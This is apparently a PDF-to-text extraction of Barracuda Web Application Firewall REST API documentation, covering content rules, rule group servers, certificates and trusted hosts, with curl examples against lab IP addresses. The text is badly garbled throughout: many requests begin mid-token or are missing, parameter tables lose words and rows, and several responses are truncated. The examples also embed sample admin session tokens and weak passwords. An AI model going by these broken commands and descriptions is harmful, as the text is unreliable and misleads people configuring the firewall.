curl http://10.11.19.104:8000/restapi/v1/virtual_services/demo_service/content_rules/rule1 -u
bWluIn0=\n:admin' -X GET
Response:
{"lb_algorithm":"round_robin","extended_match_sequence":"5","name":"rule1","host_match":"www.barracuda.com","comments":"","
extended_match":"*","service_name":"demo_service","url_match":"/index.html","id":"rule1","servers":[],"token":"eyJldCI6IjEzODAw
Nzc0NjkiLCJwYXNzd29yZCI6ImFkYzdlZDVlZDkxNzc5Mjc1ZDA1OGQ0ZjM3\nZjk4NWMwIiwidXNlciI6ImFkbWluIn0=\n","persisten
ce_method":"NONE"}
Example 2:
Request:
kbWluIn0=\n:admin' -X GET -G -d parameters=host_match,url_match
Response:
{"url_match":"/index.html","id":"rule1","token":"eyJldCI6IjE1MDQ0MDk2ODEiLCJwYXNzd29yZCI6IjRkYmZlZjAyMDhjMzBlMDY1O
DU3NGRlMTY0\nNTE2MDY4IiwidXNlciI6ImFkbWluIn0=\n","host_match":"www.barracuda.com"}
To Update a Content Rule
URL: /v1/virtual_services/{virtual_service_id}/content_rules/{rule_id}
Method: PUT
Description: Updates the values of given parameters in the given content rule.
Input Parameters:
status String Optional The status of the content rule.

The values include:
on
off
host_match Alphanumeric Optional The host name to be matched

against the host in the request
header.
url_match URL Optional The URL to be matched to the

URL in the request header.

extended_match String Optional The expression that consists of a

Updating extended match

parameters value is shown in the
example below. See Example 2.

extended_match_sequence Numeric Optional The number to indicate the order

in which the extended match rule
requests.
lb_algorithm Enumeration Optional The algorithm to be used for load

balancing. The enumerated
values include:
round_robin
weighted_round_robin
least_requests
persistence_method Enumeration Optional The Persistence Method to be

used to maintain the connection
between a client and the first
server that it connects to, even
when the system is load
balancing traffic.
none
source_ip
source_ip_netmask
cookie_insert
me
main
h
cookie_age
cookie_passive
me
main
h
cookie_age
http_header
header_name
url_parameter
parameter_name

failover_method Enumeration Optional The failover method to be used

when responding to a request
which is persistent, but the
server that must serve the
request is failed or set to
"Out-of-Service".
load_balance - The
requests to be load
balanced between the
"alive" servers.
error - Sends "503 service
unavailable" error message.
This method is not
supported for the
persistence method "Source
IP".
load_balance. Numeric Optional The maximum idle time (in

persistence_idle_timeout seconds) for a persistent
connection. A client is directed to
the same Real Server unless the
connection is inactive for more
than the specified number of
seconds.
source_ip_netmask Numeric Conditional A subnet mask to make

subsequent connections from
clients, from the same subnet go
to the same Real Server.

when Persistence Method is so
urce_ip.
persistence_cookie_name Alphanumeric Conditional The name of the cookie that will

be used for persistence.

okie_insert or cookle_passive.
persistence_cookie_path URL Optional The path property of the

persistency cookie.

persistence_cookie_domain Alphanumeric Optional The domain name of the server

of a persistency cookie.

cookie_age Numeric Conditional The expiry age of the

persistence cookie in minutes.

header_name Alphanumeric Conditional The name of the header for

checked in the HTTP requests.

when Persistence Method is htt
p_header.
parameter_name Alphanumeric Conditional The name of the parameter for

checked in the URL.

when Persistence Method is url
_parameter.
Comments Alphanumeric Description about the content

rule.
Example 1:
Request:
bWluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"url_match":"/barracuda.html"}'
Response:
{"id":"rule1","token":"eyJldCI6IjEzODAwNzc1ODkiLCJwYXNzd29yZCI6IjcwNTlhMmNjNjlmOTI2NjA1OWY2YmU1ZDc2\nOTI5OTg5
IiwidXNlciI6ImFkbWluIn0=\n"}
Example 2:
Request:
bWluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"url_match":"/*","extended_match":"(Method eq GET) &&
(HTTP-Version eq HTTP/0.9) && (Header User-Agent eq mozilla)"}'
Response:
{"id":"rule1","token":"eyJldCI6IjEzODAwNzQ0NjgiLCJwYXNzd29yZCI6IjY4MjdkMmNmY2MxYzI4ODY3ODU2NTM3NGQ1\nOTIxM
2FlIiwidXNlciI6ImFkbWluIn0=\n"}
To Delete a Content Rule
URL: /v1/virtual_services/{virtual_service_id}/content_rules/{rule_id}
Method: DELETE
Description: Deletes the given content rule.
Example:
Request:
'eyJldCI6IjEzODAyMzczMDciLCJwYXNzd29yZCI6IjM1MGM0MDQxYzA1NTEwZTcwNmYwZDBmNmE5\nNWMyN2U5IiwidXNlciI6
ImFkbWluIn0=\n:admin' -X DELETE
Response:
deleted","token":"eyJldCI6IjEzODAyMzk5NjciLCJwYXNzd29yZCI6ImNmNGUzYmM4OTUwMzI0NTg4OWEzMzM0ZjYz\nZmQ3MD
ZmIiwidXNlciI6ImFkbWluIn0=\n"}

Rule Group Server
In this Section:
To Create a Rule Group Server

To Retrieve Rule Group Servers
To Update a Rule Group Server
To Delete a Rule Group Server
To Create a Rule Group Server
URL: /v1/virtual_services/{virtual_service_id}/content_rules/{rule_id}/rg_servers
Method: POST
Description: Adds a rule group server.
Input Parameters:
name Alphanumeric Yes A name to identify this server.
identifier Enumeration Yes The way to be used by the

hostname
ip_address
address_version Enumeration Yes The internet protocol version to

include:
ipv4
ipv6
ip_address Alphanumeric Conditional The IP address of the server.

hostname Alphanumeric Conditional The hostname of the server. This

to hostname.
port Numeric Yes The port number of the server.

in_service
out_of_service_all
e


yes
no


Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/virtual_services/demo_service/content_rules/rule1/rg_servers -u
'eyJldCI6IjEzODAwNzg5MzEiLCJwYXNzd29yZCI6IjA3YTFhMTQyNjQ1NmI0NjllZjczOWM4NjY5\nNDRhZmI2IiwidXNlciI6ImFkbWl
uIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"name":"demo_rg_server","ip_address":"10.11.3.213","port":"80"}';
Response:
{"id":"demo_rg_server","token":"eyJldCI6IjEzODAwNzk0NTEiLCJwYXNzd29yZCI6IjQ5YWI3Yzc0NGJkYWM3ZjA5NzU1MzZmMT
Uw\nMWQwYTBhIiwidXNlciI6ImFkbWluIn0=\n"}
To Retrieve Rule Group Servers
URL: /v1/virtual_services/{virtual_service_id}/content_rules/{rule_id}/rg_servers
/v1/virtual_services/{virtual_service_id}/content_rules/{rule_id}/rg_servers/{rg_server_id}
Method: GET
Description: Lists all rule group servers if “rg_server_id” is not specified.
Input Parameters:

that needs to be retrieved.
For information on passing the

parameters in the request, refer
to the Example 2 in To Retrieve
Servers.

Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/virtual_services/demo_service/content_rules/rule1/rg_servers/demo_rg_server -u
uIn0=\n:admin' -X GET
Response:
{"in_band_health_checks":{"max_http_errors":"0","max_refused":"10","max_timeout_failure":"10","max_other_failure":"10"},"out_of
_band_health_checks":{"enable_OOB_health_checks":"1","interval":"10"},"status":"in-service","application_layer_health_check":{"a
dditional_headers":[],"status_code":"200","url":null,"method":"GET","match_content_string":null},"max_request":"1000","comments"
:null,"max_establishing_connections":"100","backup_server":"0","timeout":"300000","max_connections":"10000","weight":"1","ip_ad
dress":"10.11.3.213","id":"demo_rg_server","token":"eyJldCI6IjEzODAwNzk2MzgiLCJwYXNzd29yZCI6ImI1OTQxZDg2ZWI0N2U4
NDAwNjZmNzA3MzQw\nOTEzZGY0IiwidXNlciI6ImFkbWluIn0=\n","ssl":{"enable_https":"0","client_certificate":null,"enable_ssl_3":"
1","validate_certificate":"0","enable_tls_1":"1"},"version":"ipv4","name":"demo_rg_server","port":"80","connection_pooling":{"enable
_connection_pooling":"1","keepalive_timeout":"900000"},"max_keepalive_requests":"0","max_spare_connections":"0"}
To Update a Rule Group Server
URL: /v1/virtual_services/{virtual_service_id}/content_rules/{rule_id}/rg_servers/{rg_server_id}
Method: PUT
Description: Updates the values of given parameters in the given rule group server.
Input Parameters:
name Alphanumeric Optional The name of the rule group

server.
identifier Enumeration Optional The way to be used by the

hostname
ip_address
address_version Enumeration Optional The internet protocol version to

include:
ipv4
ipv6
ip_address Alphanumeric Optional The IP address of the server.

hostname Alphanumeric Optional The hostname of the server. This

to hostname.
port Numeric Optional The port number of the server.

in_service
out_of_service_all
e


yes
no


ssl.enable_https Enumeration Optional The SSL status for backend

connections. The values include:
yes
no
enable_ssl_3 String Optional SSL 3.0 protocol to be used by

values include:
yes
no
enable_tls_1 String Optional TLS 1.0 protocol to be used by

values include:
yes
no

values include:
yes
no

values include:
yes
no
ssl.client_certificate String Optional The certificate to be used when

the server requires client
authentication.
ssl.validate_certificate String Optional Determines whether to validate

the server certificate. The values
include:
yes
no

ssl.enable_ssl_compatibility_mo String Optional Determines whether to enforce

de compatibility with legacy servers
or not. The values include:
yes
no
in_band_health_checks.max_htt Numeric Optional The maximum number of HTTP

p_errors error responses to be allowed
per 1024 requests before
marking the server as out of
service.
in_band_health_checks.max_ref Numeric Optional The maximum number of

used connection refused errors to be
in_band_health_checks.max_ot Numeric Optional The maximum number of

her_failure connection time-out errors to be
in_band_health_checks.max_tim Numeric Optional The maximum number of other

eout_failure errors to be allowed per 1024
connections before marking the
server as out-of-service (default
is 10).
out_of_band_health_checks.ena String Optional The status of Out-of-Band

ble_OOB_health_checks monitoring. The values include:
yes
no
out_of_band_health_checks.inte Numeric Optional The interval time (in seconds)

rval between the probes sent by the
Firewall to the server to
application_layer_health_check. Alphanumeric Optional Any additional headers to be

additional_headers sent with the OOB HTTP
request.
application_layer_health_check. Numeric Optional The expected HTTP response

status_code status code.
application_layer_health_check. URL Optional The URL to be used in the HTTP

url request to determine the server
health.
application_layer_health_check. Enumeration Optional The method to be used for the

method HTTP request. The enumerated
values include:
POST
GET
HEAD
application_layer_health_check. String Optional The string that needs to be

match_content_string matched in the response. If
specified, the response must
contain the string. If the
response does not contain the
string, the probe is deemed
unsuccessful, and the server will
be marked out- of- service.

connection_pooling.enable_con String Optional The connection pooling status.

nection_pooling The values include:
yes
no
connection_pooling.keepalive_ti Numeric Optional The time in milliseconds to

meout timeout a connection which was
used at least once. This is the
maximum amount of time a
connection is kept alive. This
value is applicable per 1024
connections, where a time-out
error had occurred before turning
off the server.
advanced_configuration.max_co Numeric Optional The maximum number of

nnections connections established to the
server at any time.
advanced_configuration.max_re Numeric Optional The maximum number of

quests requests that can be queued.
advanced_configuration.max_ke Numeric Optional The maximum number of

epalive_requests requests retained on a persistent
connection before the
connection is shut down (if the
server does not close the
connection first).
advanced_configuration.max_es Numeric Optional The maximum number of

tablishing_connections simultaneous connections that
can be established to the server.
advanced_configuration.max_sp Numeric Optional The maximum number of

are_connections pre-allocated connections.
advanced_configuration.timeout Numeric Optional The time in milliseconds to

timeout an unused connection.
advanced_configuration.client_i String Optional Specifies if the Barracuda Web

mpersonation Application Firewall uses the
client IP address as the source
IP address to communicate to
the servers. The values include:
yes
no
advanced_configuration.source_ Alphanumeric Optional The IP address to be used by

ip_to_connect the Barracuda Web Application
Firewall to communicate with the
Server. It can be WAN IP
address, LAN IP address or a
custom virtual interface IP
address in the Vsite. If client_im
personation is set to Yes, then
this IP is used only for Out of
Band Health checks.
Note: If the server is reachable

through a static route configured
in the Vsite, then the custom
virtual interface defined in that
Vsite should be specified in sour
ce_ip_to_connect.

Example 1:
Request:
uIn0=\n:admin' -X PUT -H Content-Type:application/json -d
'{"in_band_health_checks":{"max_http_errors":500},"connection_pooling":{"keepalive_timeout":700000},"status":"out-of-service-all"}'
Response:
{"id":"demo_rg_server","token":"eyJldCI6IjEzODAwNzk3NTUiLCJwYXNzd29yZCI6IjMyZmY3NTk2NTg0NGY2YzI5MDFlMGFhNG
Q0\nNGY0NDc2IiwidXNlciI6ImFkbWluIn0=\n"}
Example 2:
Request:
curl http://10.11.25.107:8000/restapi/v1/virtual_services/aert/servers/Server1 -u 'eyJldCI6IjE0NTk0MDk0NTMiLCJwYXNzd29yZCI6

IjU5MjkxNTY4ZWFlODI1ZDkyNTc3YmU1NDEz\nYTYyMTEyIiwidXNlciI6ImFkbWluIn0=\n:admin' -X PUT -H Content-Type:applicat
ion/json -d '{"enable_ssl_compatibility_mode":"yes"}'
Response:
{"id":"Server1","token":"eyJldCI6IjE0NTk0MDk1MTIiLCJwYXNzd29yZCI6IjAwN2Q0ODEzNTk3NzRkNGYwMWNmYzJmMDYw\nM
2UyZWU1IiwidXNlciI6ImFkbWluIn0=\n"}
To Delete a Rule Group Server
URL: /v1/virtual_services/{virtual_service_id}/content_rules/{rule_id}/rg_servers/{rg_server_id}
Method: DELETE
Description: Deletes the given rule group server.
Request:
'eyJldCI6IjEzODAyMzczMDciLCJwYXNzd29yZCI6IjM1MGM0MDQxYzA1NTEwZTcwNmYwZDBmNmE5\nNWMyN2U5IiwidXNlciI6
ImFkbWluIn0=\n:admin' -X DELETE
Response:
deleted","token":"eyJldCI6IjEzODAyNDAyOTkiLCJwYXNzd29yZCI6IjRjYzNhYjM0YTkwZjU4ZTFmZTRjOWNjOWZi\nYTU3MDMwIi
widXNlciI6ImFkbWluIn0=\n"}

Certificates
A signed certificate is a digital identity document that enables both server and client to authenticate each other. Certificates are used with HTTPS
protocol to encrypt secure information transmitted over the internet. A certificate can be generated or procured from a third party Certificate
Authority (CA). Generated certificates can be self-signed or signed by a trusted third-party CA. A certificate contains information such as user
name, expiration date, a unique serial number assigned to the certificate by a trusted CA, the public key, and the name of the CA that issued the
certificate.
In this Section:
To Create a Certificate
To Upload a Signed Certificate
To Upload a Trusted (CA) Certificate
To Upload a Trusted Server Certificate
To Download a Signed Certificate
To Download a Trusted (CA) Certificate or Trusted Server Certificate
To Retrieve Certificates
To Delete a Certificate
To Create a Certificate
URL: /v1/certificates
Method: POST
Description: Creates a self-signed certificate with the given values.
Input Parameters:
name Alphanumeric Yes The name of the certificate.
common_name Alphanumeric Yes The domain name (DN) of the

web server for which you want to
generate the certificate.
country_code Alphabetic Yes The two-letter country code of

the location of the organization.
state Alphabetic Optional The full name of the state or

province of the location of the
organization.
city Alphabetic Optional The full name of the locality (city)

where the organization is
located.
organization_name Alphanumeric Optional The legally registered name of

the organization or company.
organization_unit Alphanumeric Optional The department or unit within the

organization.
key_size Enumeration Yes The private key size for the

certificate in bits. The
1024
2048
4096

allow_private_key_export String Yes Specify whether to lock the

Private Key corresponding to this
certificate or not. The values
include:
yes
no
Normally, certificates are

downloaded in PKCS12 format
which includes the Private Key
and Certificate. When a key is
locked, you can only download
the certificate in PEM format.
Also, you cannot take a backup
when the Private Key is locked.
Note:
This option is valid only for
created and uploaded
(generated and signed by a
trusted CA) certificates.
Request:
curl http://10.11.19.104:8000/restapi/v1/certificates -u
'eyJldCI6IjEzODQyMDc3NDAiLCJwYXNzd29yZCI6IjE3MjM1YmIxNGJmYTgyMGY3MmU1MzNiNDBm\nMjE0Y2E5IiwidXNlciI6ImF
kbWluIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"name" : "Cert1", "common_name"
:"barracuda.yourdomain.com","country_code":"US","state":"California","city":"Campbell","organization_name":"Barracuda
Networks","organization_unit":"Engineering","key_size":"1024","allow_private_key_export":"yes"}'
Response:
{"id":"Cert1","token":"eyJldCI6IjEzODQyMjgxOTkiLCJwYXNzd29yZCI6IjhjYmYxOGNkZjMxNDc2ZTk0M2ExYTJlMjg4\nZDJjOWM3
To Upload a Signed Certificate
URL: /v1/certificates?upload=signed
Method: POST
Description: Uploads the given signed (pem or pkcs12) certificate.
Input Parameters:
type String Yes Select the certificate type. The

values include:
pkcs12
pem
key_type String Optional The key/algorithm used in the

certificate. The values include:
rsa
ecdsa
Note: By default, key_type is rs

a. If the key used in the
certificate is ECDSA, then
specify ecdsa as key_type.
signed_certificate String Yes The path and name of the signed

certificate file that needs to be
uploaded.

assign_associated_key String Conditional The values include:
yes – If the CSR

corresponding to this
certificate was generated on
the Barracuda Web
no – Upload the private key
corresponding to this
certificate in the “key” field.
Note: Required ONLY when the

certificate being uploaded is in
PEM format.
key String Conditional The path and name of the

corresponding private key for the
signed certificate being
uploaded.

PEM format.
intermediary_certificate String Conditional The path and name of the

intermediary CA certificate file
that needs to be uploaded.
Note: If your certificate is signed

by a trusted CA, the certificate
should be uploaded in the
following order:
Leaf certificate
Intermediate certificate(s)
Root CA certificate
This is required ONLY when the

PEM format.
allow_private_key_export String Yes Determines whether to export

the private key corresponding to
the certificate or not. The values
include:
yes – To export the private

key corresponding to the
certificate.
no – To lock the private key.
In this case, the certificate
can be downloaded only in
PEM format, and backup of
system configuration cannot
be taken.
password Alphanumeric Conditional The password used to generate

the PKCS #12 token for the
signed certificate being
uploaded.

certificate being uploaded is
PKCS12 Token.

Example: Uploading a Signed Certificate in PEM Format

Request:
curl -i -F name=cedr -F type=pkcs12 -F signed_certificate=@/root/Medstar.p12 -F password=Hypercom1 -F key_type=rsa -F

allow_private_key_export=yes http://10.11.19.104:8000/restapi/v1/certificates?upload=signed -u
'eyJldCI6IjE0MzU5MjEyNTgiLCJwYXNzd29yZCI6IjVkNjIxOGYwNzI3ODE0OTFiODgxM2Q1ZDQ1\nODdmMzBmIiwidXNlciI6ImFkb
WluIn0=\n:admin'
Response:
HTTP/1.1 201
Server: BarracudaHTTP 4.0
Date: Fri, 03 Jul 2015 10:46:10 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
{"id":"cedr","token":"eyJldCI6IjE0MzU5MjE1NjgiLCJwYXNzd29yZCI6Ijc5NzA5ZmJmZjQ2NmQ5OWQ1OTZkOWVjMWRj\nZTM4Nz
IxIiwidXNlciI6ImFkbWluIn0=\n"}
Example 1: Uploading a Signed Certificate in PKCS12 Token Format

Request:
curl -i -F name=Cert3 -F signed_certificate=@/home/certs/wafqa.net.pfx -F type=pkcs12 -F allow_private_key_export='Yes' -F

password='123456' http://10.11.19.104:8000/restapi/v1/certificates?upload=signed -u
'eyJldCI6IjEzODQ2MzQzMjQiLCJwYXNzd29yZCI6ImNhOTkzMTYyOGFjNzI0MTM5ZjhiODVkMzZk\nM2U4NTM1IiwidXNlciI6ImFk
bWluIn0=\n:admin'
Response:
HTTP/1.1 201
Date: Tue, 19 Nov 2013 12:31:56 GMT
{"id":"Cert3","token":"eyJldCI6IjEzODQ5ODQzMDkiLCJwYXNzd29yZCI6IjljOGJkNDk1MTBmOWZjMjkwOGVmNjIwYzIy\nMDc4OD
JiIiwidXNlciI6ImFkbWluIn0=\n"}
Example 2: Uploading a Signed Certificate in PKCS12 Token Format

Request:
curl -i -F name=cedr -F type=pkcs12 -F signed_certificate=@/root/raj_ssl/cert/ecdsa1.p12 -F key_type=ecdsa -F password=123456

-F allow_private_key_export=yes http://10.11.25.107:8000/restapi/v1/certificates?upload=signed -u
'eyJldCI6IjE0Mzg5MzU5NzAiLCJwYXNzd29yZCI6Ijg0YTg0YzRkMDlhYWIzZmEwOGEyNmU1ZDg4\nYzRjMTNkIiwidXNlciI6ImFkb
WluIn0=\n:admin'
Response:
HTTP/1.1 201
Date: Fri, 24 Jul 2015 11:21:04 GMT
{"id":"cedr","token":"eyJldCI6IjE0Mzg5MzY4NjIiLCJwYXNzd29yZCI6ImQxYjYxMGRlZGI1OGRiYzY1MTJiYzcxYmM2\nMDI4MDFiIi
widXNlciI6ImFkbWluIn0=\n"}
To Upload a Trusted (CA) Certificate

Use this API to upload a Certificate Authority's (CA) certificate, a trusted certificate that acts as a root CA certificate for authenticating the client
certificates. Any client certificate signed by the trusted certificate is valid and allowed access without further validation.
URL: /v1/certificates?upload=trusted
Method: POST
Description: Uploads the given trusted CA certificate.
Input Parameters:
trusted_certificate String Yes The path and name of the

trusted CA certificate that needs
to be uploaded.
Example:
Request:
curl -i -F name=Trusted_Cert -F trusted_certificate=@/home/certs/rootca.pem http://10.11.19.104:8000/restapi/v1/certificates?uplo

ad=trusted -u
'eyJldCI6IjEzODQyOTQyMzUiLCJwYXNzd29yZCI6IjQyZWNlN2JjMTc5MjlhMDZkMzZmZmI5NjYz\nODMyOTk0IiwidXNlciI6ImFkb
WluIn0=\n:admin'
Response:
HTTP/1.1 201
Date: Tue, 12 Nov 2013 06:46:11 GMT
{"id":"Trusted_Cert","token":"eyJldCI6IjEzODQyOTU3MDgiLCJwYXNzd29yZCI6ImRhNTU0OTFlNDY5Y2U0NDA4NjcxOTMzZGFj\
nNzIyYWZkIiwidXNlciI6ImFkbWluIn0=\n"}
To Upload a Trusted Server Certificate
Use this API to upload a Certificate Authority's (CA) certificate, a trusted certificate that acts as a root CA certificate for authenticating back-end
server certificates. Any back-end server certificate signed by the uploaded trusted certificate is valid and allowed access without further validation.
URL: /v1/certificates?upload=trusted_server
Method: POST
Description: Uploads the given trusted server certificate.
Input Parameters:
trusted_server_certificate String Yes The path and name of the

trusted server certificate that
needs to be uploaded.

Example:
Request:
curl -i -F name=Server_cert1 -F trusted_server_certificate=@/home/certs/rootca.pem http://10.11.19.104:8000/restapi/v1/certificate

s?upload=trusted_server -u
'eyJldCI6IjEzODQyOTQyMzUiLCJwYXNzd29yZCI6IjQyZWNlN2JjMTc5MjlhMDZkMzZmZmI5NjYz\nODMyOTk0IiwidXNlciI6ImFkb
WluIn0=\n:admin'
Response:
HTTP/1.1 201
Date: Tue, 12 Nov 2013 06:49:45 GMT
{"id":"Server_cert1","token":"eyJldCI6IjEzODQyOTU5NjEiLCJwYXNzd29yZCI6ImNjN2ZjOWNiNWQ3NTJlNDM1MGJiNjk2YmQz\n
NzZlOGU0IiwidXNlciI6ImFkbWluIn0=\n"}
To Download a Signed Certificate
Use this API to download a signed certificate. For more information on certificates, refer to Certificate Management.
In the web interface of the Barracuda Web Application Firewall, the certificate is saved as a PKCS12 token (p12). Therefore, it is
recommended to append .p12 extension next to the certificate in the API call.
URL: /v1/certificates/{certificate_name}
Method: GET
Description: Downloads the given certificate.
Input Parameters:
download Binary Yes Determines whether the

certificate needs to be
downloaded or not.
One (1) - to download the
certificate.
encrypt_password Alphanumeric Yes The password to save the

certificate.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/certificates/Cert1 -u
'eyJldCI6IjEzOTM1MDE3MTAiLCJwYXNzd29yZCI6IjU2YjliNGY2MzFlZjg5ZmU5Y2ZkNGZlNTYy\nNDIzODM5IiwidXNlciI6ImFkbWl
uIn0=\n:admin' -H Content-Type:application/json -X GET -o rft.p12 -G -d download=1 -d encrypt_password=123456
Response:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2485 0 2485 0 0 7102 0 699 0 --::-- --::-- --::-- 7223
To Download a Trusted (CA) Certificate or Trusted Server Certificate

Use this API to download a trusted (CA) certificate or trusted server certificate.
In the web interface of the Barracuda Web Application Firewall, a trusted (CA) certificate or trusted sever certificate is saved in PEM
format. Therefore, it is recommended to append .pem extension next to the certificate in the API call.
URL: /v1/certificates/{certificate_name}
Method: GET
Description: Downloads the given certificate.
Input Parameters:
download Binary Yes Determines whether the

certificate needs to be
downloaded or not.
One (1) - to download the
certificate.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/certificates/server_cert1 -u
'eyJldCI6IjEzOTM1MDM1NDYiLCJwYXNzd29yZCI6ImYwMGMwMzM1OTI2YzExNTYzZTRlN2Y1ZWI0\nZTc3MTRhIiwidXNlciI6Im
FkbWluIn0=\n:admin' -H Content-Type:application/json -X GET -o raj.pem -G -d download=1
Response:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1334 0 1334 0 0 7102 0 1537 0 --::-- --::-- --::-- 1543
To Retrieve Certificates
URL: /v1/certificates
/v1/certificates/{certificate_id}
Method: GET
Description: Lists all certificates if “certificate_id” is not specified.
Input Parameters:

xample 3.

Example 1:
Request:
'eyJldCI6IjEzODYxNzAzNTIiLCJwYXNzd29yZCI6IjZiNTc5NDZiNWU0YjM3NTNhZDZhM2RjYTIy\nODljMzRjIiwidXNlciI6ImFkbWluI
n0=\n:admin' -X GET
Response:
{"parameters":null,"object":"Certificates","data":[{"expiry":"Dec 1 06:06:16 2023

GMT\n","common_name":"barracuda.yourdomain.com","services":"No
Service","private_key":"exportable","name":"Cert_cr_1","type":"created_certificate"},{"expiry":"Dec 1 06:06:25 2023
GMT\n","common_name":"waf4.bc.com","services":"ss1","private_key":"exportable","name":"cert_cr_2","type":"created_certificate"}
,{"expiry":"Dec 1 06:06:34 2023 GMT\n","common_name":"waf.bc.com","services":"No
Service","private_key":"exportable","name":"cert_cr_3","type":"created_certificate"},{"expiry":"Dec 1 06:07:02 2023
GMT\n","common_name":"adc.bc.com","services":"No
Service","private_key":"not_exportable","name":"cert_cr_4","type":"created_certificate"},{"expiry":"Dec 31 23:59:59 2013
GMT\n","common_name":"gdfews-globalenergy-stg.gdfsuez.com","services":"No
Service","private_key":"not_exportable","name":"chained_6","type":"uploaded_certificate"},{"expiry":"Jul 25 12:04:51 2014
GMT\n","common_name":"wafqa.net","services":"No
Service","private_key":"not_exportable","name":"cert9","type":"uploaded_certificate"},{"expiry":"Dec 31 23:59:59 2013
GMT\n","common_name":"gdfews-globalenergy-stg.gdfsuez.com","services":"No
Service","private_key":"exportable","name":"chained_68","type":"uploaded_certificate"},{"expiry":"Jul 25 11:57:11 2014
GMT\n","common_name":"CN","services":"No Service","name":"ca2","type":"trusted_certificates"},{"expiry":"Jan 22 13:22:28 2016
GMT","common_name":"wafqa-1","services":"N/A","name":"svr_cert2","type":"trusted_server_certificates"}],"token":"eyJldCI6IjEzO
DYyNzk0MDMiLCJwYXNzd29yZCI6IjBjZDcyYzkzZWEzOGFkMDExMjE4OGQ2MDBl\nMjkxMTgwIiwidXNlciI6ImFkbWluIn0=\n"}
Example 2:
Request:
n0=\n:admin' -X GET
Response:
{"expiry":"Dec 1 06:06:16 2023 GMT\n","common_name":"barracuda.yourdomain.com","services":"No

Service","private_key":"exportable","name":"Cert_cr_1","type":"created_certificate","token":"eyJldCI6IjEzODYyNzk0MDYiLCJwYX
Nzd29yZCI6IjRiYmYyMDQyNTQ5M2I2Yjc3MDU1ZjY3MWE3\nZDFhMTQ0IiwidXNlciI6ImFkbWluIn0=\n"}
Example 3:
Request:
n0=\n:admin' -X GET -G -d parameters="name,type"
Response:
{"parameters":"name,type","object":"Certificates","data":[{"name":"Cert_cr_1","type":"created_certificate"},{"name":"cert_cr_2","type
":"created_certificate"},{"name":"cert_cr_3","type":"created_certificate"},{"name":"cert_cr_4","type":"created_certificate"},{"name":"c
hained_6","type":"uploaded_certificate"},{"name":"cert9","type":"uploaded_certificate"},{"name":"chained_68","type":"uploaded_certi
ficate"},{"name":"ca2","type":"trusted_certificates"},{"name":"svr_cert2","type":"trusted_server_certificates"}],"token":"eyJldCI6IjEzO
DYyNzk0MDQiLCJwYXNzd29yZCI6IjFlYTg3MjljZGQ3NGIwZWIzMjhhY2E1MDJj\nMmYxMWUyIiwidXNlciI6ImFkbWluIn0=\n"}
To Delete a Certificate
URL: /v1/certificates/{certificate_id}
Method: DELETE
Description: Deletes the given certificate.

Example:
Request:
n0=\n:admin' -X DELETE
Response:
deleted","token":"eyJldCI6IjEzODYyNzk0NzciLCJwYXNzd29yZCI6ImRiODM5NDE4NGE1YmVlMWY5NDE3ZDM5OTI5\nYjExZTE

Trusted Hosts
A trusted host group can be created with a set of trusted hosts, which can be associated with the Service to enforce action for the trusted hosts.
For more information on trusted hosts, refer to How to Configure Trusted Hosts.
In this Section:
To Create a Trusted Host Group

To Delete a Trusted Host Group
To Add a Trusted Host Group
To Update a Trusted Host
To Delete a Trusted Host
To Create a Trusted Host Group
URL: /v1/ trusted_host_groups
Method: POST
Description: Creates a trusted host group with the given name.
Input Parameters:
name Alphanumeric Yes A name for the trusted host

group that needs to be created.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/trusted_host_groups -u
'eyJldCI6IjE0NDc5MjU4MDkiLCJwYXNzd29yZCI6Ijg4YzgzMGNlNGY4YzUxMWNkZDBlMWZmOTc5\nYTg0NDA0IiwidXNlciI6ImF
kbWluIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"name":"Group1"}'
Response:
{"id":"Group1","token":"eyJldCI6IjE0NDc5MjU5MjkiLCJwYXNzd29yZCI6ImNlZjczY2FkYzljOTcyNjJmNjExMDA4YzA2\nZDMxMTk3I
iwidXNlciI6ImFkbWluIn0=\n"}
To Delete a Trusted Host Group
URL: /v1/ trusted_host_groups/{trusted_host_group_name}
Method: DELETE
Description: Deletes the given service group
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/trusted_host_groups/Group1 -u
Response:
deleted","token":"eyJldCI6IjE0NDc5MjU5MTMiLCJwYXNzd29yZCI6IjU1OGMxOTdkNjk3N2U2YWE1YTg4ZDlmODIx\nMWEzM2Ex
To Add a Trusted Host Group
URL: /v1/ trusted_host_groups/{trusted_host_group_name}/trusted_hosts
Method: POST
Description: Creates a trusted host with the given name.

Input Parameters:
name Alphanumeric Yes Name for the trusted host.
address_version Enumeration Yes Internet protocol version for the

trusted host.
ip_address Alphanumeric Yes IP address of the trusted host.
mask Alphanumeric Yes Associated subnet mask.
comments Alphanumeric Optional Description about the trusted

host.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/trusted_host_groups/Group1/trusted_hosts -u
kbWluIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"name":"Host1", "ip_address":"99.99.124.56",
"address_version":"ipv4", "mask":"255.255.255.255", "comments":"raj"}'
Response:
{"id":"Host1","token":"eyJldCI6IjE0NDc5MjYwMzciLCJwYXNzd29yZCI6ImJmMzVlNzA0NTVlYTFlZDEyNjI3ZTNjNzcx\nYjQyMjczIiw
idXNlciI6ImFkbWluIn0=\n"}
To Update a Trusted Host
URL: /v1/ trusted_host_groups/{trusted_host_group_name}/trusted_hosts/(trusted_host_name)
Method: PUT
Description: Updates the values of given parameters.
Input Parameters:
ip_address Alphanumeric Optional IP address of the trusted host.
mask Alphanumeric Optional Associated subnet mask.

host.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/trusted_host_groups/Group1/trusted_hosts/Host1 -u
kbWluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"name":"host_raj", "ip_address":"99.99.107.69",
"mask":"255.255.0.0"}'
Response:
